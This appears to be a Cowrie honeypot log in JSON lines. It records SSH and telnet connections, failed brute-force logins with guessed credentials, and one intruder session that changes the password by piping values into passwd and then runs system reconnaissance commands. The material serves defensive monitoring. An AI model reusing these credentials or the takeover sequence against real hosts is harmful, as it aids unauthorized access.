{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/9de7557acf33833bff45339df99348c36735bf6c211333b6d6d4d802de5fee4e","size":32,"shasum":"9de7557acf33833bff45339df99348c36735bf6c211333b6d6d4d802de5fee4e","duplicate":false,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/9de7557acf33833bff45339df99348c36735bf6c211333b6d6d4d802de5fee4e after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:35.181062Z","src_ip":"103.78.1.33","session":"95aaabe44de5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:35.320167Z","src_ip":"103.86.198.253","session":"0ae0602d56c6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:35.441491Z","src_ip":"103.78.1.33","session":"95aaabe44de5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"Admin@1234\\nA5P88jkeqWwd\\nA5P88jkeqWwd\\n\"|passwd","message":"CMD: echo \"Admin@1234\\nA5P88jkeqWwd\\nA5P88jkeqWwd\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:35.443357Z","src_ip":"103.78.1.33","session":"95aaabe44de5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4a2c0d603efa23f946d136db3ca9ed3cc6662d69edefe7e56c2eb800b3e252d1","size":25,"shasum":"4a2c0d603efa23f946d136db3ca9ed3cc6662d69edefe7e56c2eb800b3e252d1","duplicate":false,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/4a2c0d603efa23f946d136db3ca9ed3cc6662d69edefe7e56c2eb800b3e252d1 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:35.882795Z","src_ip":"103.78.1.33","session":"95aaabe44de5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:36.142499Z","src_ip":"103.78.1.33","session":"95aaabe44de5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:36.144365Z","src_ip":"103.78.1.33","session":"95aaabe44de5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test01","password":"abc123","message":"login attempt [test01/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:36.412590Z","src_ip":"103.86.198.253","session":"0ae0602d56c6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:36.584003Z","src_ip":"103.78.1.33","session":"95aaabe44de5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:36.847013Z","src_ip":"103.78.1.33","session":"95aaabe44de5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:36.849692Z","src_ip":"103.78.1.33","session":"95aaabe44de5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":26,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:37.290775Z","src_ip":"103.78.1.33","session":"95aaabe44de5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:37.553920Z","src_ip":"103.78.1.33","session":"95aaabe44de5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:37.555683Z","src_ip":"103.78.1.33","session":"95aaabe44de5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:37.557888Z","src_ip":"103.78.1.33","session":"95aaabe44de5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:37.698847Z","src_ip":"103.86.198.253","session":"0ae0602d56c6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":65,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:37.999231Z","src_ip":"103.78.1.33","session":"95aaabe44de5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:38.264657Z","src_ip":"103.78.1.33","session":"95aaabe44de5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:38.266620Z","src_ip":"103.78.1.33","session":"95aaabe44de5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:38.710623Z","src_ip":"103.78.1.33","session":"95aaabe44de5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:39.405198Z","src_ip":"103.78.1.33","session":"95aaabe44de5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:39.407396Z","src_ip":"103.78.1.33","session":"95aaabe44de5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.9","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:40.284617Z","src_ip":"103.78.1.33","session":"95aaabe44de5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:40.561172Z","src_ip":"103.78.1.33","session":"95aaabe44de5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:40.563936Z","src_ip":"103.78.1.33","session":"95aaabe44de5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:41.007183Z","src_ip":"103.78.1.33","session":"95aaabe44de5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:41.281842Z","src_ip":"103.78.1.33","session":"95aaabe44de5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:41.284711Z","src_ip":"103.78.1.33","session":"95aaabe44de5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:41.734806Z","src_ip":"103.78.1.33","session":"95aaabe44de5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:42.001716Z","src_ip":"103.78.1.33","session":"95aaabe44de5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:42.004009Z","src_ip":"103.78.1.33","session":"95aaabe44de5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:42.449304Z","src_ip":"103.78.1.33","session":"95aaabe44de5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:42.703929Z","src_ip":"103.78.1.33","session":"95aaabe44de5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:42.705667Z","src_ip":"103.78.1.33","session":"95aaabe44de5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.9","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:43.586661Z","src_ip":"103.78.1.33","session":"95aaabe44de5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:43.858588Z","src_ip":"103.78.1.33","session":"95aaabe44de5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:43.861264Z","src_ip":"103.78.1.33","session":"95aaabe44de5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:44.303449Z","src_ip":"103.78.1.33","session":"95aaabe44de5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:44.577637Z","src_ip":"103.78.1.33","session":"95aaabe44de5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:44.580524Z","src_ip":"103.78.1.33","session":"95aaabe44de5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:45.029129Z","src_ip":"103.78.1.33","session":"95aaabe44de5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:45.291564Z","src_ip":"103.78.1.33","session":"95aaabe44de5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:45.293651Z","src_ip":"103.78.1.33","session":"95aaabe44de5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:45.741130Z","src_ip":"103.78.1.33","session":"95aaabe44de5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:46.009081Z","src_ip":"103.78.1.33","session":"95aaabe44de5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:46.011599Z","src_ip":"103.78.1.33","session":"95aaabe44de5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":66,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:46.239417Z","src_ip":"103.78.1.33","session":"95aaabe44de5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.7","message":"Connection lost after 20.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:46.243913Z","src_ip":"103.78.1.33","session":"95aaabe44de5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":40576,"dst_ip":"159.203.135.109","dst_port":23,"session":"14af199867b0","protocol":"telnet","message":"New connection: 170.64.224.25:40576 (159.203.135.109:23) [session: 14af199867b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:50.032655Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.220.174","src_port":43198,"dst_ip":"159.203.135.109","dst_port":22,"session":"185fa24eb0d4","protocol":"ssh","message":"New connection: 108.179.220.174:43198 (159.203.135.109:22) [session: 185fa24eb0d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:54.636683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:54.639534Z","src_ip":"108.179.220.174","session":"185fa24eb0d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:54.663686Z","src_ip":"108.179.220.174","session":"185fa24eb0d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"justin","password":"Tron#P@ssw0rd!S3cur3","message":"login attempt [justin/Tron#P@ssw0rd!S3cur3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:54.739114Z","src_ip":"108.179.220.174","session":"185fa24eb0d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:55.768664Z","src_ip":"108.179.220.174","session":"185fa24eb0d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.76.134.52","src_port":47546,"dst_ip":"159.203.135.109","dst_port":22,"session":"393563196ee5","protocol":"ssh","message":"New connection: 177.76.134.52:47546 (159.203.135.109:22) [session: 393563196ee5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:57.613138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:57.666384Z","src_ip":"177.76.134.52","session":"393563196ee5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:57.805496Z","src_ip":"177.76.134.52","session":"393563196ee5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123.abc","message":"login attempt [root/123.abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:58.371301Z","src_ip":"177.76.134.52","session":"393563196ee5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:59.515574Z","src_ip":"177.76.134.52","session":"393563196ee5","protocol":"ssh"}
